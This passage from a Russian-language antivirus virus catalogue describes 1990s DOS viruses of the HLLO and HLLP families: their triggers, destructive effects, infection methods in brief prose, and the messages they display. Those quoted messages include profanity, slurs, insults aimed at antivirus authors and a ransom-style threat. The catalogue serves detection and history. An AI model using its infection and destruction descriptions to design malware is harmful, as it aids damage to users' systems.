файл-жертву, причем новые инфицированные файлы будут создаваться в
текущем каталоге. При старте вирус выводит сообщение:
Tyst fФr fan.. Jag sprДnger!!
HLLO.Vm
Очень опасный вирус. Содержит тексты:
OBBS Net is the best fido-technology net in the world
For more information please call NS - SOFTWARE BBS
You cant use ESC key.This key allowed only for OBBS members
Your sincirely VM
OBBS Net is the best fido-technology net in the world
For more information please call NS - SOFTWARE BBS
Sorry but floppy disk operations today supported only for OBBS users
Your sincirely VM
OBBS Net is the best fido-technology net in the world
For more information please call NS - SOFTWARE BBS
Что-то с памятью твоей стало :-) гы-гы
Your sincirely VM
HLLO.Vs&W.3017
Очень опасный вирус. Содержит текст:
¦ Вирус под именем DPS ( от русского ДПШ ), создан в Санкт-Петербурге
¦ Привет всем хакерам Санкт-Петербурга, а также Миксеру, Мишке, и
¦ Виктору Ивановичу от Vs&W Hackers Group, by Mad Max Hacker
¦ НУ ОЧЕНЬ ПЛОХОЙ ВИРУС ¦
¦ АлисА; Roxette; АрИЯ; Iron Maiden
¦ (c) Copyrigth 1996, by Mad Max ( Vs&W ).
Все права защищены
( разумеется тут нет никаких прав, просто так, ради прикола
Привет Дмитрию Лозинскому и Игорю Данилову
HLLO.Vs&W.3836
Очень опасный нерезидентный вирус. Выводит сообщение:
Virus by Vs&W Hackers Group. Я не заражаю больше 5 файлов
С Новым Годом!
The World will hear from me again
А меня звать MadMax, привет Викторы Ивановичу из ДПШ
Прошу прощенья за то, что ЭТО попало к вам
Отошлите ЭТО Игорю Данилову или Дмитрию Лозинскому
Они разбируться сто к сему. В этом я уверен
Также содержит текст:
Вас приветствует Vs&W Hackers Group
Ради интереса мы написали этот вирус
Прошу дать ему название "VS&W", пожалуйста!!!
Ждите новых поступлений от хакеров Санкт-Петербурга
Вирус написано на Турбо Паскале 7.00, и упакован DIET`ом
Привет MiXER`у от MadMax`а
MiXER ты еще на Бэйсике страдаешь или нет?
HLLO.Zalman
Очень опасный нерезидентный вирус. Имеет текст "(c) 1993,94 Zalman".
HLLP.4641
Очень опасный вирус. Написан на Turbo Pascal и упакован PKLITE.
Разрушает файлы с расширениями PAS,BAS,TXT,BAK,PCX,MID,PIC,CUT,C,ARC,
PAK,ZIP,LZH,ICE,CHZ,ARJ.
HLLP.4665
Во время заражения файлов создает временные файлы MAIN.EXE и TEMP.EXE.
HLLP.7808 (1,2)
Неопасные нерезидентные вирусы. Написаны в формате EXE-файла. Появилась
модификация вируса HLLP.7808(1),упакованная утилитой LZEXE версии 0.91.
HLLP.8905
Очень опасный нерезидентный вирус. В среду пытается уничтожить
содержимое диска C:.
HLLP.Acid
Очень опасный нерезидентный вирус. 13 числа уничтожает по 100 первых
секторов каждого логического устройства жесткого диска и выводит текст:
г===============================================================¬
г=- ---------¦ --------¦ ------¦ ----------¦ L=¬
¦ -------------¦ --------- ------¦ ---------- ---¦ ¦
¦ -----¦ -----¦ -----¦ -----¦ -----¦ ----¦ ¦
¦ --------------¦ -----¦ -----¦ -----¦ ----¦ ¦
¦ --------------¦ -----------¦ ------¦ ------------ ¦
¦ ---- ---- -------- ------ ---------- ¦
L=¬ г===================================¬ г=-
L============¦Virus ACID.(c)Satanman.1997.Moscow.¦==============-
L===================================-
--------------------------------------------------¬
¦ Hi! My name is ACID.Yes,yes,yes - i am virus. ¦
¦ I am sorry: your hard disk has been formatted...¦
L--------------------------------------------------
HLLP.Aga
Неопасный нерезидентный вирус. 12 ноября выводит на экран текст:
г==================¬
¦ *ВИРУС* ¦
¦ АГА - v1.03. ¦
¦ Create in 2:5064 ¦
¦==================¦
¦ C Днем Рождения! ¦
¦ Всех Скорпионов! ¦
¦ Счастья и денег ¦
¦ ВАМ! ¦
L==================-
HLLP.BeginPas
Неопасный нерезидентный вирус. Написан на языке Pascal. Производит
поиск *.PAS-файлов в текущем каталоге,открывает их, ищет строку "BEGIN"
и сразу же после этой строки вставляет ссылку на процедуру "virus".
Записывает данную вирусную процедуру на языке Pascal в исходные PAS-
тексты. В результате после компиляции такого PAS-файла получится
инфицированный исполняемый модуль, способный дальше инфицировать
исходные тексты, написанные на языке Pascal в файлах *.PAS. При
нахождении *.PAS-файла вирус выводит на экран его имя, после заражения
файла выводит текст "Infected!".
HLLP.BelGUT
Неопасный нерезидентный вирус. Выводит на экран текст:
- - --- --- -- -- - - ---- --- --- -
- - - - - - - - - -- -- - - - - -
---- - --- - - - - - - - --- --- --- -
- - - - - - - - - - - - - - -
- - --- - --- -- -- - - ---- - - --- -
-
IT'S A LITTLE FUCK FROM BelGUT!
HLLP.Birthday.5824
Неопасный нерезидентный вирус. Написан на языке высокого уровня,
видимо, Borland Turbo Pascal, в формате EXE-файла. Первые 5824 байт
файла-жертвы вирус переносит в конец файла, а вместо этих байт
записывает свой код с собственным заголовком EXE-файла и Relocation
Table. 6,7 и 8 сентября выводит соответствующие строки: "Tomorrow will
be my birthday !", "Today is my birthday !", "Yesterday was my birthday
!". После чего "вешает" систему.
HLLP.Bishkek.3990, 4170, 4240
Опасные нерезидентные вирусы. Упакованы PKLITE (HLLP.Bishkek.3990
упакован LZEXE). HLLP.Bishkek.4170 разрушает *.BAS-файлы, записывая в
них строку "(Smokie4 virus (c) by N5 school BISHKEK 1". Эту же строку
вирус иногда выводит на экран.HLLP.Bishkek.4240 периодически записывает
в загрузочные сектора дисков A:, B:, C: количество головок -1 (смещение
+1Ah), после чего выводит текст "Smokie3 virus,я затер Ваш сектор Вы,
поняли ? Y/N". Также содержит текст "Smokie3 (c) by N5 school Bishk".
HLLP.Bishkek.3990 иногда выводит текст "Smokie4 virus (v) by N5 school
BISHKEK" и содержит в своем теле тексты "GoodTie error", "PordTons
VirBoy", "VirBoy in Bishkek".
HLLP.Bishop
Опасный вирус. Выводит текст:
*
* * * * * * *
* * * * *
* * * * * * *
* * * * * *
* * * * *
* * * * * *
* * * * * * * * * * * *
* * * * * *
* * * * * *
* * * * * * * * * * * * * * * *
* *
* *
H A T E T O A L L P E O P L E ! ! !
Г-на Данилова с Новым Годом и с Новым Вирусом,
успехов в новом рабочем году !!!!
Press Enter For Continue
г======================¬
¦ CopyRight : Bishop ¦
¦ Vir_Name : Bishop ¦
¦ Version : 1.01 ¦
¦ Effects : Yes ¦
¦ Danger : Yes ¦
¦ Speed : Small ¦
¦ VirLength : ¦
L======================-
HLLP.Ceib.4629, 5000
Неопасные нерезидентные вирусы. Написаны на Turbo Pascal в формате EXE-
файлов и упакованы утилитой LZEXE.HLLP.Ceib.4629 создает и удаляет файл
C.EIB, HLLP.Ceib.5000 - файл со случайным именем и с расширением TMP,
видимо, для проверки разрешения записи на диск. HLLP.Ceib.4629 также
создает файл SV11, а HLLP.Ceib.5000 - тот же случайный файл, в которые
записывают 4629 или 5000 байт вирусного кода, а затем записывают
содержимое найденного COM или EXE-файла-жертвы. После чего удаляют
исходный файл, а файлу SV11 или случайному файлу присваивают имя файла-
жертвы. Не заражают следующие файлы: NC.EXE, NCMAIN.EXE, IBMBIO.COM,
IBMDOS.COM,COMMAND.COM.HLLP.Ceib.5000 устанавливает случайные системные
дату и время. HLLP.Ceib.5000 содержит текст:
---------------------------¬
¦ Уважаемый Игорь Данилов! ¦
¦Мне нравится Ваш антивирус¦
¦Dr.Web,но я разочаровался,¦
¦когда обнаружил,что Dr.Web¦
¦3.01 неправильно лечит мой¦
¦вирус SV11(HLLP.Ceib.4629)¦
L---------------------------
До встреч !
И, действительно, все версии программы Dr. Web до версии 3.09
некорректно лечили некоторые файлы, инфицированные данным вирусом.
HLLP.Chs.6549
Опасный нерезидентный вирус. Упакован DIET. В субботу и воскресенье
может натворить всевозможных "пакостей": замедлить клавиатуру,
уничтожить содержимое CMOS, вывести сообщение,...
I know, you don't like me and my deeds...
HLLP.ChSU
Неопасный нерезидентный вирус. Упакован LZEXE. Удаляет файлы *.MS?.
Содержит тексты "Quick Fuck virus from ChSU version 1.0", "Cheboksary -
95".
HLLP.Daemon
Неопасный нерезидентный вирус. Может вывести одно из нижеследующих
текстов в рамке, которая стоит в списке первой:
г====== Exception error 666 at =======¬
¦ ¦
L=========== Press RESET to continue ===========-
Daemon's Gate virus v1.666
Attention! Your Hard Disk is RADIOACTIVE!
(Missing light magenta ribbon in printer!
In case mistake, call GHOST BUSTERS
Insert tractor toilet paper into printer.
Warning! Your mouse has some virus!
Disconnect your mouse, there are some cats!
Water detected in Co-processor
I am hungry! Insert HAMBURGER into drive A:
NO SMOKING, PLEASE! Thanks.
End of worktime. Turn off the computer.
Processor Pentium Pro 200MHz not found.
18Gb free disk space not found.
512Mb extended memory not found.
16Mb TRIDENT VGA video card not found.
Invalid user.
Send this to Danilov. He know what to what.
Insert new user into drive C:
Processor not found.
What is it ? I know. This is fuck.
Error. Can't fuck keyboard.
L O S E R ! ! !
Fuck you later !
User is LOH
Залипание клавиатуры !
Вентилятор защищен от записи !
CPU мертв, а FPU не заводится.
В дисководе A: две дискеты !
COMMAND.COM умер !
Плохой мотор detected !
Пробоина в диске C:
It's time to save your non-saved work,
because you have only ?? seconds left ?
Say bye-bye to your non-saved data
HLLP.Dekas
Опасный нерезидентный вирус. Удаляет *.DOC и *.TXT файлы, записывая в
них перед удалением слово "Dekas".
HLLP.Destroy
Очень опасный нерезидентный вирус. Упакован LZEXE. В файлы: DIRINFO,
*.PAS, *.BAS, *.ASM, *.BAT. *.ME, *.DIZ записывает различные тексты,
содержащие нецезурные выражения.
HLLP.Doggy.6202, 6606, 6667, 6685, 6686, 8421, 9535
Неопасные нерезидентные вирусы. Упакованы WWPACK. HLLP.Doggy.9535
состоит из вируса HLLP.Doggy.6202 и некой "заглушки" длиной 3333 байт.
При старте "заглушка" создает файл SWAP.$$$ куда записывает 3333 байта
своего кода, затем она удаляет свой код (3333 байт) из стартовавшего
файла и запускает этот файл, который содержит код вируса
HLLP.Doggy.6202. Этот вирус производит поиск *.EXE-файлов и инфицирует
их своим кодом (6202 байта). После чего вирус HLLP.Doggy.6202 читает
3333 первых байта из уже только что инфицированного EXE-файла и
записывает их в конец этого файла. После чего HLLP.Doggy.6202 пытается
прочитать 3333 байта "заглушки" из файла SWAP.$$$ и записать их в
начало инфицируемого файла. Если же произойдет ошибка чтения из файла
SWAP.$$$, то далее инфицированный файл сможет заражать файлы кодом
вируса HLLP.Doggy.6202, но по окончании работы, как правило, такие
файлы будут "вешать" систему. 28 числа многие вирусы выводят тексты:
HLLP.Doggy.6606:
-----------------------------------------------¬
¦Happy Birthday Good Doggy! I think you will ¦
¦be glad to read this. I wish you to have ¦
¦a very good girl, much money and very good ¦
¦health. Don`t drink too much and don`t smoke! ¦
L-----------------------------------------------
P.S. Dr. Danilovv! You Web doesnt detect Pascal!
HLLP.Doggy.6686:
HAPPY BIRTHDAY! GOOD DOGGY! WE WISH ALL THE BEST!
Our 3d version of GDB (GOOD GODDY`s BIRTHDAY) !!!!
HLLP.Doggy.8421:
SHUTKA GLUPISHI !
Today is ГУУД ДОГГИ's БИРЗДЭЙ !!!
superskie igrushki: Zuganov - borodavka
super digger acade voleybol
Wi mojete ih kupit besplatno na beloye pivo bbs
zvoniti nam vsegda!!! ass-hole
etu programu napIsal KHARITONOV SASHKA
+7 (095) 135-62-53 (sasha)
ТОЛЬКО для вирмэйкеров -" у меня АОН
Ja nichego voobshe ne bous! Mne 7 let, ja talant!!
gorod moskva, storona zugoslavia ...
---- ХАРЯ --------¬
¦Данилофф привеt! ¦
¦Я просто прикалываюсь с моей igrushkou! ¦
L------------------
нам конешно нравится веб, но он тормозит!
ЛОХинскай! неужели ты досихпор не мозешь мойпать иванхальф?
Как насчет exterface для лозатеста?
а том этот НЕГР С БЕЛЫМИ БУКАМИ!
привет КСПЕРМА IVGENYJ!
izvini chto tak nazivau, просто у тебя prikolнаяя фамилия!
mOGU POJERTVOVAT NA PIVO BBS 100 $$$$ B/W DOLLAROV
PRESS ENTER"
=-=-=-=-=-=-=-=-=
КТО не зоаполнит анкету, тот ПИДОР ГОРБАТЫЙ!
ЛОЗ, войди на свою BBS под именем MUDILA VATNY
и напиши пароль = GGGGGGG
ТАМ ДЛЯ ТЕБЯ маленький сюрпризе!!!
А ТЕПЕРЬ АНКЕТА :
1. Имя, фамилия, отчество ЕЛЬЦИНА БОРИСА НИКОЛАЕВИЧА
2. как назвается самый ***вый антивирус:
a) AIDSTEST
б) PIDRTEST
v) LOZATEST
3. Кто кого породил?
а) КСПЕРМА всех
б) лоз Дамнилофф
4. ОТКУДА ВЗЯЛСЯ ДАМНИЛОФФ?
А) ЛОЗ НАШОЛ ЕГО В КАПУСТЕ
б) ЕГО ПРИНЕС АИСТ
В) ЛОЗ ЕГО КУПИЛ В МАГАЗИНЕ
PRESS ENTER==="
BEST GAMES: WARCRAFT 2
BEST DEMO: MS-SUXX
ИНТЕРЕСНО, ВСТАВЯТ ЛИ ЭТИ ЧУВАКИ ЭТОТ ВИРУС В СВОИ ВИРЛИСТЫ
ЗДЕСЬ ЧАСТИЧНО(а может и очень сильно) ЗАДЕТО ИХ САМОЛЮБИЕ....ПОСМОТРИМ
WITH KINDEST REGARDS, YOURS KHARITONOV SASHKA
PRESS ENTER to format your disk
HLLP.Doggy.6667 выводит следующий текст 14 февраля:
---------------------------------------------¬
¦**************************************** ¦ FUCK OFF TO
¦Элла ******** !!! Ты самая красивая!!! ¦ АФОНИН АНТОН
¦Ты останешься в моей памяти навечно..... ¦ ХАРЬКОВ САША
¦1996 год, лагерь "Мирный", 2 смена, 3 отряд ¦ ГОЛУБКОВ ЛЕША
L--------------------------------------------- РЖАНЫХ АНДРЕЙ
------ ------ ------ - - -
--------- --------- - - - - - - -
-------------------- ------ - - - - - -
---------------- - - - - - -------
-------------- ------ - - - - - -
---------- you will live in my heart
-------- forever
----
Звездочками (*) в данном сообщении заменены фамилия и координаты
девушки, которой был посвящен данный вирус. Элла попросила меня убрать
эти строки из данного описания. Видимо, ей не очень понравилась любовь
господина Харитонова Александра.
HLLP.Doggy.6685 3 числа выводит следующий текст:
X-PROXET Labs Presents "MegaDeth V1.0" (C) 1996 January-February
- - ---- ---- ----- ---- ---- ----- - - (C) MegaDeth Live
-- -- - - - - - - - - - - (C) 1996 St. Peterburg
- - - -- - -- ----- - - -- - ---- By SMACKMAN & Stryker
- - - - - - - - - - - - -
- - ---- ---- - - ---- ---- - - -
MegaDeth 94 Youthanasia
MegaDeth 95 Hidden Treasures
MegaDeth 96 Peace Sells... But who's buying
HLLP.Doggy.6202, 9535 5 числа выводит текст:
------------------------------------------
ZAK Virus V1.0 Beta Pre-release shareware
--- Copyright (C) 1996 ------------------
Имеют также тексты:
HLLP.Doggy.6606:
GOOD DOGGY`S BIRTHDAY VIRUS V3.0
St. Peterburg (C) 1996 May
Written in PSCVG V2.1 by Robocop
-------------------------------------------------
Especially for GOOD Doggy from Robocop!
Onyx is dead, I can`t beleive it. Fucking Skins!
Bad command or file name
DOG!
HLLP.Doggy.6667:
Элла
HLLP.Doggy.6685
(C) 1996 X-PROXET Labs, St. Peterburg
MegaDeth V1.0
-=-=-=-=-=-=-=-
MegaDeth Live
MD96
HLLP.Doggy.6686:
(C) 1996 GDB V3.0 X-PROXET Labs, St. Peterburg
Written by Dwarven-Mike and Robocop
Happy birthday, Good Doggy!
Dear Doggy, we wish you to spend this holiday very nice!
We wish your parents to present you nice modem & upgrade!
We wish you eat a lot, drink smth and fuck smb as a real
enjoyment!
Yours, X-PROXET
Dwarven-Mike, Robocop, Kharitonov Alexander, SMACKMAN,
Scat-J, NightRider, PollutionPreventer, Swat, Skinhead,
Stryker, Verenia and newcomers.
Enjoy!
X-PROXET Best Pascal Program Club (C) 1992-96 SMACKMAN
Bad command or file name
DOG3
HLLP.Doggy.8421:
GOOD DOGGY`S BIRTHDAY VIRUS V2.0
-----------------------------------
Pascal Source Code Virus Generator (C) 1995
(C) 1996 February by X-PROXET labs
St. Petersburg
PROGRAMMING GROUP:
Funny text by Kharitonov Alexander
Generator written by Dwarven-Mike (C) 1995 December
Work & modification by SMACKMAN (president of X-PROXET)
Distributors: Scat-J, Robocop, PollutionPreventer
------------------------------------
Happy birthday GOOD DOGGY!
I think you will like this virus and text
(C) 1996 SMACKMAN (press enter)
Bad command or file name
BUT why?
ежик
HLLP.Doggy.6202, 9535:
Элла! Я люблю тебя!
Bad command or file name
ZAK
HLLP.Feci
Неопасный нерезидентный вирус. Содержит текст "ЛДПР - НАШ ЛИДЕР!!!
=== Feci Quod Potui, Fac
iant Meliora Potentes".
HLLP.FireLove
Опасный нерезидентный вирус. 18 числа месяца уничтожает содержимое 500
секторов диска C:. Содержит текст "Virus [Fired Love 10217] Version
1.0...! By L.S.Y.".
HLLP.Forever
Неопасный нерезидентный вирус. 23 числа выводит текст:
This is not a virus, not a trojan horse and not a logic bomb!
This is love, love forever!
Dear Maria I LOVE YOU !!!
I LOVE YOU! I LOVE YOU!
GROSSER & TAPEWORM & GURRE!
Press a key to continue
Содержит тексты "Disk is write-protected", "Lena", "Ira", " Diana",
"Natasha", "Polina", "Tanya", "Olya", "Marina", "Maria","Katya","frv1".
HLLP.Frontier
Опасный нерезидентный вирус. Упакован утилитой AINEXE.Содержит ошибки.
Пытается создавать на всех доступных дисках файл VICIOUS, после чего
удаляет его. Изменяет системную дату и время. Имеет текст "frontier".
HLLP.Grosser
Неопасный резидентный вирус. Упакован утилитой WWPACK. Содержит текст:
GROSSER V3.0 , GROSSER & GOOD DOGGY ARE COOL GUYS! RULEZ!
MANY GREETINGS TO GURRE AND OTHERS
Note: TAPEWORM is no longer TAPEWORM
He is GOOD DOGGY now - NOW IT IS TIME TO GREET ALL FRIENDS (BOYS):
Granov Ilya, Ivan Dmitriev, Oryol Vladimir, Alex Fomin,
Gavrilov Ivan, Stupnikov Yaroslav,Tom Funikov,
Shishkin Vova, Alex Senin, Alex Bezyazichni,
Kirill Skobelev, Alexander Morozov, Maxim
Chudnov, Igor Voloshin, Pual Kobilchak,
Mike Funikov, .. the list will never end
AND MANY GREETINGS TO GIRLS (ESPECIALLY ELLA):
Loginova Polina, Soboleva Ella, Natasha Kulesh,
Lena Pronina, Katya Kiryanova, Masha Gromova,
Diana Kemularia, Irina Fionova, Alina Mikhailova
... and so on
Antivirus writers:
Igor Daniloff, Dmitry Lozinsky, Eugene Kaspersky,
Dmitry Mostovoy and others...
GREETINGS TO MUSIC GROUPS:
METALLICA, MEGADETH, SLAYER, SEPULTURA,
JIMI HENDRIX, DEEP PURPLE, NIRVANA, BEATLES, RED HOT CHILLI PEPPERS
ICE-T, ONYX, HOUSE OF PAIN, ICE CUBE, TONE LOC, PUBLIC ENEMY
ARRESTED DEVELOPMENT, KRISS KROSS AND OTHERS
AND NOW... IT IS TIME FOR FUCKS:
MANY FUCKS TO:
KORZIN OLEG, AFONIN ANTON, HARKOV SASHA, RJANIH ANDREY
prikL: Данное произведение является выдумкой автора !
Любые совпадения случайны
HLLP.Grunt
Неопасный нерезидентный вирус. Упакован LZEXE. 16 числа заполняет экран
текстом "ЕЛЬЦИН - ПРЕЗИДЕНТ!!!". При заражении файлов создает временный
файл grunt.swp. Содержит строку "School 1279".
HLLP.Happy
Неопасный нерезидентный вирус. Если по окончании работы вируса, клавиша
Alt - нажата, то вирус выводит текст "DON'T WORRY, BE HAPPY !".В январе
до 14 числа выводит текст "HAPPY NEW YEAR !".
HLLP.Hello (1,2)
Неопасные нерезидентные вирусы. Содержат тексты "3-50-41", "HELLO! I"m
virus !!!".
HLLP.Inna.5260
Неопасный нерезидентный вирус. Написан на Turbo Pascal в формате EXE-
файла и упакован утилитой PKLITE 1.12. При старте вируса, он производит
поиск и заражение EXE-файлов, удаляет вирусный код из стартовавшей
программы, запускает ее на выполнение, после чего заражает вновь. В
период с 10.00 до 18.00 выводит текст:
г======================================¬
¦ Сэр Лозинский ! ¦
¦ Я очень обижен тем, что вы отнесли ¦
¦ вирус INNA 2.4 к семейству Pascal. ¦
¦ Прошу отнести его к семейству INNA. ¦
¦ До скорых встреч. ¦
L======================================-
1 сентября также выводит еще одно сообщение:
---------------¬
¦ Virus INNA ¦
¦ Version 2.5 ¦
L---------------
HLLP.Izvrat
Неопасный резидентный вирус. Упакован PKLITE. Скрывает приращение длины
инфицированных файлов. Содержит зашифрованные тексты:
Izvrat v3.1beta (cl) Dirty Nazi
Stealth Group World Wide
Thanks Int O`Dream & Borland
Happy birthday, Dirty Nazi!
У каждого из нас быть могут pазные ходы, но цель y нас едина...
Kогда я умер, не было никого, кто бы это опроверг... AidsTest. :)
Abnormal program termination
HLLP.Jojo
Неопасный резидентный вирус. Содержит тексты "JOJO LOVE SAM", "at",
"Pamantasan Ng Lungsod Ng Maynila v1994", "PLM 90-07-077".
HLLP.Kasf
Очень опасный нерезидентный вирус. Уничтожает файлы с расширениями BAK,
PAS, MCD и ASM. Создает и удаляет файл Kasf, за который и получил свое
название.
HLLP.Krile.5831, 5880
Неопасные нерезидентные вирусы. Удаляют файлы anti-vir.dat, chklist.ms,
chklist.cps. Содержат тексты:
HLLP.Krile.5831:
[¦KRiLE¦] v1.0e - RAiD UsA [SLAM]
Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw
HLLP.Krile.5880:
"¦KRiLE¦ v1.0c - When will u learn AV? (c) by RAiD UsA [SLAM]97
Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw
HLLP.Legs.6988, 7000 (1,2), 7234
Опасные нерезидентные вирусы. Упакованы утилитой PKLITE. Если значение
минут совпадает со значением сотых долей секунд, то вирусы
HLLP.Legs.7000 (1,2) устанавливают размер инфицированного файла равным
666 байтам,записывают в начало этого файла текст "DEATH ON TWO LEGS Was
Here !!" и выводят этот же текст на экран.HLLP.Legs.7234 при совпадении
значения дня и месяца, а также при совпадении минут и сотых долей
секунд, пытается отформатировать жесткий диск и выводит на экран текст:
DEATH ON TWO LEGS v2.7
(c) Black Scorpion
Moscow-1995
Также HLLP.Legs.7234 производит обнуление размера файлов, третий байт
которых имеет значение 0DAh.
HLLP.Maniac
Содержит текст "POZDROWIENIA Z J.GORY OD `Maniac v.3.0`".
HLLP.Metal.7929, 13040
Неопасные нерезидентные вирусы. HLLP.Metal.7929 упакован PKLITE, а
HLLP.Metal.13040 зашифрован с помощью какой-то файловой защиты. Если
вирусы стартуют из инфицированной программы AIDSTEST.EXE, то он выводят
сообщение "И вот я в Aidstest-е !!! Ха-Ха-Ха", если из WEB.EXE - то
"Привет Игорю Данилову ...". Также могут выводить тексты "Без паники
!!!", "Programm Header error !!!".HLLP.Metal.7929 выводит иногда текст:
METALOLOM-VIRUS Version 3.0 (c) Clug
HLLP.Metal.13040 в понедельник в мае, или в субботу, или 25 числа
месяца выводит следующее сообщение:
Вам профессионаллы посвящается...
Данный вирус написан ....... догадайтесь сами кем !!!!!!!
Если Вы не перечислите 100 $ в пользу голодающих детей Африки то Ваш
жесткий диск будет уничтожен !!!
Выключать компьютер я Вам не советую так-как все DBF файлы находятся
в XMS памяти, а с диска временно стерты ! Так-что подумайте !!!
---------------------------------------------------------------------
У Вас есть 48 часов потом я вызову перезагрузку и Ваши файлы будут
УНИЧТОЖЕНЫ !!!
Время пошло ...
2880 минут
HLLP.Moonlight.4389
Очень опасный нерезидентный вирус. Написан на Turbo Pascal в формате
EXE-файла и упакован утилитой DIET. В COM-файлы, а также в файл
C:\IO.SYS или в C:\IBMBIO.COM записывает 5 байт передачи управления
в BIOS на процедуру перезагрузки. Заражает EXE-файлы, создавая файл
IMMAGE.PCX, записывая в него код вируса, копируя код EXE-файла. После
чего оригинальный EXE-файл удаляется, а файлу IMMAGE.PCX присваивается
его имя. Не заражает программы ADINF, ADINFEXT, AIDSTEST, DRWEB, SCAN.
По окончании работы вирус выводит текст:
Data error reading drive C:
Abort, Retry, Ignore, Fail?
При нажатии на "A" вирус заканчивает работу, не отдавая управление
программе-вирусоносителю. При нажатии на "R" вирус повторяет сообщение
про ошибку. При нажатии на "I" производится перезагрузка системы. При
нажатии на "F" вирус выводит текст "Fail on INT 24" и выходит в DOS.
Содержит текст "Copyright(c)95 Moonlight Productions.".
HLLP.Myxa
Неопасный нерезидентный вирус. При совпадении значений месяца, дня и
дня недели (например, первого января в понедельник и т.д.) иногда после
запуска инфицированных программ проявляется графическим видеоэффектом
похожим на бурлящую лаву и выводит текст "---- Error free ----".
Содержит текст "Myxa".
HLLP.Nazi.6528
Очень опасный нерезидентный вирус. Удаляет некоторые файлы. Иногда
пытается отформатировать первые дорожки двух жестких дисков, после чего
выводит на экран текст:
-------------------------
- ----- ----------------------------------
- - Dirty Nazi --------------------------------- --
--------- virus v.3.1b ------------------------------------ -¦
- - -------------------------------------¦ ¦¦
----- - -------------------------------------- -
------------------------------------- -¦
-TTTTTTT¬ -TTTTTTT¬ ¦---------------- -----------¦ --
-++++++++- -++++++++- --------------¦ - ------- -¦
-+++++++- -+++++++- -- -----¦-- ¦----------¦
-++++++- -++++++- ¦¦ ¦ ------ ------ -- - --
-+++++- -+++++- --- --- ----------------------- ----¦¦
-+++++TTT¬ -+++++TTT¬ ----------- --------------------¦¦ ---
L++++++++- L++++++++- --------¦ ¦------------------- ¦-
-++++- -++++- ----------------- ----- ---¦
-++++- -++++- ¦¦-------------- -----
-+++- -+++- ---------------¦ ---------¦
-++- -++- --- --- --- --- - ------------
L+- L+- ¦¦-- --- --- --- ----------
----------------------
Open your blind eyes and turn -------------
around: death is everywhere.
Также иногда выводит текст "This program requires Igor Daniloff".
HLLP.Nazi.8600
Может вывести на экран одно из следующих сообщений:
г===============================¬
¦ Name "Dirty Nazi" ¦
¦ Type Virus ¦
¦ Version 2.0 beta ¦
¦ Target *.COM *.EXE ¦
¦ Stealth No ¦
¦ TSR No ¦
¦ Attac speed Slow ¦
¦ Danger 2 ¦
¦ Effects Yes ¦
¦ Length 8600 ¦
¦ Language Turbo Pascal ¦
L===============================-
----- Copyleft (cl) Dirty Nazi 1955
This program requires Dmitry Lozinsky
г==================================¬
¦ Dirty Nazi Virus. Nazi not dead! ¦
¦ Today is 22/06. Congratulations ¦
¦ from fUcKRAINE ! I don't wanna ¦
¦ serve u today so have a rest! ¦
¦ C u tomorrow! ¦
¦==================================¦
¦ (cl) Kiev Computer Virus Club ¦
L==================================-
HLLP.NotFound.6176
Неопасный нерезидентный вирус. Написан на Turbo Pascal. Содержит текст:
Borland Virus (C) 1994
Processor Intel PentiumTM not found.
17Gb disk free space not found.
512Mb extended memory not found.
16Mb XGA Video card not found.
Sound Blaster not found.
Sorry, your configuration doesn't match to run this...
HLLP.Novokuz
Нерезидентный вирус. Содержит текст "Novokuznetsk - the city of
FidoFuckers :( Feci Quod Potui, Faciant Meliora Potentes :)".
HLLP.RedAlert
Опасный нерезидентный вирус. Заражает EXE-файлы. В COM-файлы вирус
записывает 23 байта кода, которые устанавливают системную дату в 1-ое
января 2000 года и возвращают управление DOS. Также в эти COM-файлы
записывается текст "Infected by Red Alert". Но возможно корректное
восстановление таких COM-файлов.
HLLP.Rottom
Неопасный нерезидентный вирус. Разрушает таблицы ADinf. Содержит текст
"(c) 1997 by DirtyRottom".
HLLP.Rsw.5846
Неопасный нерезидентный вирус. Написан на языке высокого уровня,
видимо, Turbo Pascal и упакован утилитой PKLITE v.1.12. В теле вируса
присутствуют текстовые строки, принадлежащие компилятору фирмы Borland.
Вирус производит поиск *.cOm и *.exE -файлов в каталогах, доступных
через переменную PATH. Создает файл vvc.13 в каталоге найденного файла,
записывает в созданный файл 5846 байт вирусного кода, после чего
копирует файл-жертву в новый файл vvc.13. В дальнейшем удаляет
оригинальный файл и присваивает файлу vvc.13 имя удаленного файла. В
каталоге запущенного на выполнение инфицированного файла, вирус создает
новый файл nortom.ini и копирует в него код зараженного файла без
вирусного кода. По окончании своей работы вирус запускает на выполнение
файл nortom.ini, после чего удаляет данный файл. В заголовке вируса по
адресу 1Eh находится текстовая строка: "Я люблю пиво,компы и женщин :)
By Rsw. Version 2.10.". 17 числа любого месяца вирус выводит на экран
текст:
Блин , сегодня мой день рождения.
Я так рад , что не буду даже не чего зарожать ;-).
Copyright (c) 1994 by RSW
Release 17.06.94 , v. 2.10 (BugFix)
После чего, не отдавая управление программе-вирусоносителю заканчивает
работу. Хорошо когда у человека 12 раз в году день рождения - тогда
хоть раз в месяц, но и у нас будет праздник, и такой вот вирус "не чего
зарожать" не будет.
HLLP.Rsw.8304
Аналогичен HLLP.Rsw.5846. Не упакован PKLITE. 17 числа любого месяца
выводит сообщение:
I'm sorry You hawe virus.!
My name VVC 13 version 1.0 beta.
Special Thank's auhtor viruses Yeanke Doodle , Lozinsky D.N.
Virus by VVC & RSW release 25.02.94
HLLP.Sarka
Опасный нерезидентный вирус. Упакован LZEXE. В марте и декабре
уничтожает содержимое CMOS-памяти, MBR первого жесткого диска и выводит
текст:
WARNING: DANGEROUS SUPERVIR S A R K A
Nazdaaaaaaar zdravy vas pocitacovy supervir S A R K A !
Pro zacatek bych mel pro vas nekolik uzitecnych rad:
1. v pripade resetnuti pocitace nebo vypnuti vas pocitac okamzite
totalne zlikvyduji (neberte to jako vyhrusku)
2. tento vir je opravdu spicka proto zavirovane soubory nahravejte
svym pratelum a znamym at si tento vir taky vychutnaji
3. nahnete se bliz k pocitaci jsem totiz prenosny i na lidi
po precteni stisknete SPACE
! WARNING !
4. Opravdu sis myslel ze tvuj pocitac neznicim !
Tak to sis myslel spatne !!!!!!!
HLLP.Satyricon
Иногда оставляет в памяти резидентный код, который выводит текст
"General error: Smoked cigarrete on hard disk C:".Содержит также строку
"Satyricon v1.0".
HLLP.Unsteady (1,2)
Опасные нерезидентные вирусы. С марта по сентябрь или с февраля по
август (HLLP.Unsteady (2)) выводят текст:
No Stealth, No Boot, No Stupid, but
this PC is now U N S T E A D Y !!!
